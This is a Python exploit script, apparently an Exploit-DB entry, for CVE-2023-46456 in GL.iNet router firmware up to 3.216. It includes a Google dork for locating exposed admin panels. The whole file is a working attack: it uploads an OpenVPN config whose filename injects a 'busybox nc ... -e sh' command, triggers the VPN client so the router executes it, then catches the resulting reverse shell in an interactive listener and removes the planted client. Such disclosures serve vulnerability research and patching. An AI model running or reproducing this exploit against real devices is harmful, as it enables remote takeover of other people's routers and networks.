#!/usr/bin/env python3

# Exploit Title: GL.iNet <= 3.216 Remote Code Execution via OpenVPN Client
# Google Dork: intitle:"GL.iNet Admin Panel"
# Date: XX/11/2023
# Exploit Author: Michele 'cyberaz0r' Di Bonaventura
# Vendor Homepage: https://www.gli-net.com
# Software Link: https://fw.gl-inet.com/firmware/ar300m/nand/v1/openwrt-ar300m-3.216-0321-1679391449.tar
# Version: 3.216
# Tested on: GL.iNet AR300M
# CVE: CVE-2023-46456

import socket
import requests
import readline
from time import sleep
from random import randint
from sys import stdout, argv
from threading import Thread

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

def generate_random_string():
  return ''.join([chr(randint(97, 122)) for x in range(6)])

def add_config_file(url, auth_token, payload):
  data = {'file': ('{}'.format(payload), 'client\ndev tun\nproto udp\nremote 127.0.0.1 1194\nscript-security 2')}
  try:
    r = requests.post(url, files=data, headers={'Authorization':auth_token}, verify=False)
    r.raise_for_status()
  except requests.exceptions.RequestException:
    print('[X] Error while adding configuration file')
    return False
  return True

def verify_config_file(url, auth_token, payload):
  try:
    r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
    r.raise_for_status()
    if not r.json()['passed'] and payload not in r.json()['passed']:
      return False
  except requests.exceptions.RequestException:
    print('[X] Error while verifying the upload of configuration file')
    return False
  return True

def add_client(url, auth_token):
  postdata = {'description':'RCE_client_{}'.format(generate_random_string())}
  try:
    r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)
    r.raise_for_status()
  except requests.exceptions.RequestException:
    print('[X] Error while adding OpenVPN client')
    return False
  return True

def get_client_id(url, auth_token, payload):
  try:
    r = requests.get(url, headers={'Authorization':auth_token}, verify=False)
    r.raise_for_status()
    for conn in r.json()['clients']:
      if conn['defaultserver'] == payload:
        return conn['id']
    print('[X] Error: could not find client ID')
    return False
  except requests.exceptions.RequestException:
    print('[X] Error while retrieving added OpenVPN client ID')
  return False

def connect_vpn(url, auth_token, client_id):
  sleep(0.25)
  postdata = {'ovpnclientid':client_id, 'enableovpn':'true', 'force_client':'false'}
  r = requests.post(url, data=postdata, headers={'Authorization':auth_token}, verify=False)

def cleanup(url, auth_token, client_id):
  try:
    r = requests.post(url, data={'clientid':client_id}, headers={'Authorization':auth_token}, verify=False)
    r.raise_for_status()
  except requests.exceptions.RequestException:
    print('[X] Error while cleaning up OpenVPN client')
    return False
  return True

def get_command_response(s):
  res = ''
  while True:
    try:
      resp = s.recv(1).decode('utf-8')
      res += resp
    except UnicodeDecodeError:
      pass
    except socket.timeout:
      break
  return res

def revshell_listen(revshell_ip, revshell_port):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(5)

  try:
    s.bind((revshell_ip, int(revshell_port)))
    s.listen(1)
  except Exception as e:
    print('[X] Exception "{}" encountered while binding reverse shell'.format(type(e).__name__))
    exit(1)

  try:
    clsock, claddr = s.accept()
    clsock.settimeout(2)
    if clsock:
      print('[+] Incoming reverse shell connection from {}:{}, enjoy ;)'.format(claddr[0], claddr[1]))
      res = ''
      while True:
        command = input('$ ')
        clsock.sendall('{}\n'.format(command).encode('utf-8'))
        stdout.write(get_command_response(clsock))

  except socket.timeout:
    print('[-] No connection received in 5 seconds, probably server is not vulnerable...')
    s.close()

  except KeyboardInterrupt:
    print('\n[*] Closing connection')
    try:
      clsock.close()
    except socket.error:
      pass
    except NameError:
      pass
    s.close()

def main(base_url, auth_token, revshell_ip, revshell_port):
  print('[+] Started GL.iNet <= 3.216 OpenVPN client config filename RCE exploit')

  payload = '$(busybox nc {} {} -e sh).ovpn'.format(revshell_ip, revshell_port)
  print('[+] Filename payload: "{}"'.format(payload))

  print('[*] Uploading crafted OpenVPN config file')
  if not add_config_file(base_url+'/api/ovpn/client/upload', auth_token, payload):
    exit(1)

  if not verify_config_file(base_url+'/cgi-bin/api/ovpn/client/uploadcheck', auth_token, payload):
    exit(1)
  print('[+] File uploaded successfully')

  print('[*] Adding OpenVPN client')
  if not add_client(base_url+'/cgi-bin/api/ovpn/client/addnew', auth_token):
    exit(1)

  client_id = get_client_id(base_url+'/cgi-bin/api/ovpn/client/list', auth_token, payload)
  if not client_id:
    exit(1)
  print('[+] Client ID: ' + client_id)

  print('[*] Triggering connection to created OpenVPN client')
  Thread(target=connect_vpn, args=(base_url+'/cgi-bin/api/ovpn/client/set', auth_token, client_id)).start()

  print('[*] Starting reverse shell on {}:{}'.format(revshell_ip, revshell_port))
  revshell_listen(revshell_ip, revshell_port)

  print('[*] Clean-up by removing OpenVPN connection')
  if not cleanup(base_url+'/cgi-bin/api/ovpn/client/remove', auth_token, client_id):
    exit(1)

  print('[+] Done')

if __name__ == '__main__':
  if len(argv) < 5:
    print('Usage: {} <TARGET_URL> <AUTH_TOKEN> <REVSHELL_IP> <REVSHELL_PORT>'.format(argv[0]))
    exit(1)

  main(argv[1], argv[2], argv[3], argv[4])